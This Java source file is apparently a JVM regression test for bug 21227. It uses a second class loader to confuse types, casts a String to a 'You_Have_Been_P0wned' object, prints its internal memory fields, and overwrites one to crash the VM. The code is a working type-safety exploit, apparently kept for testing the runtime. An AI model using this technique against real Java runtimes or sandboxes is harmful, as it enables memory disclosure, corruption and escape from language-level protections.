1635N/A
1635N/Aimport java.lang.reflect.*;
1635N/Aimport java.security.*;
1635N/A
1635N/Aabstract public class bug_21227 {
1635N/A
1635N/A // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
1635N/A public static Object _p0wnee;
1635N/A
1635N/A public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
1635N/A System.out.println("Warmup");
1635N/A
1635N/A // Make a Class 'many_loader' under the default loader
1635N/A bug_21227 bug = new many_loader();
1635N/A
1635N/A // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
1635N/A ClassLoader LOADER2 = new Loader2();
1635N/A Class clazz2 = LOADER2.loadClass("from_loader2");
1635N/A IFace iface = (IFace)clazz2.newInstance();
1635N/A
1635N/A // Set the victim, a String of length 6
1635N/A String s = "victim";
1635N/A _p0wnee = s;
1635N/A
1635N/A // Go cast '_p0wnee' to type You_Have_Been_P0wned
1635N/A many_loader[] x2 = bug.make(iface);
1635N/A
1635N/A many_loader b = x2[0];
1635N/A
1635N/A // Make it clear that the runtime type many_loader (what we get from the
1635N/A // array X2) varies from the static type of many_loader.
1635N/A Class cl1 = b.getClass();
1635N/A ClassLoader ld1 = cl1.getClassLoader();
1635N/A Class cl2 = many_loader.class;
1635N/A ClassLoader ld2 = cl2.getClassLoader();
1635N/A System.out.println("bug.make() "+ld1+":"+cl1);
1635N/A System.out.println("many_loader "+ld2+":"+cl2);
1635N/A
1635N/A // Read the victims guts out
1635N/A You_Have_Been_P0wned q = b._p0wnee;
1635N/A System.out.println("q._a = 0x"+Integer.toHexString(q._a));
1635N/A System.out.println("q._b = 0x"+Integer.toHexString(q._b));
1635N/A System.out.println("q._c = 0x"+Integer.toHexString(q._c));
1635N/A System.out.println("q._d = 0x"+Integer.toHexString(q._d));
1635N/A
1635N/A System.out.println("I will now crash the VM:");
1635N/A // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
1635N/A //q._c = 3;
1635N/A q._a = -1;
1635N/A
1635N/A System.out.println(s);
1635N/A
1635N/A }
1635N/A
1635N/A // I need to compile (hence call in a loop) a function which returns a value
1635N/A // loaded from classloader other than the system one. The point of this
1635N/A // call is to give me an abstract 'hook' into a function loaded with a
1635N/A // foreign loader.
1635N/A public abstract many_loader[] make( IFace iface ); // abstract factory
1635N/A}
1635N/A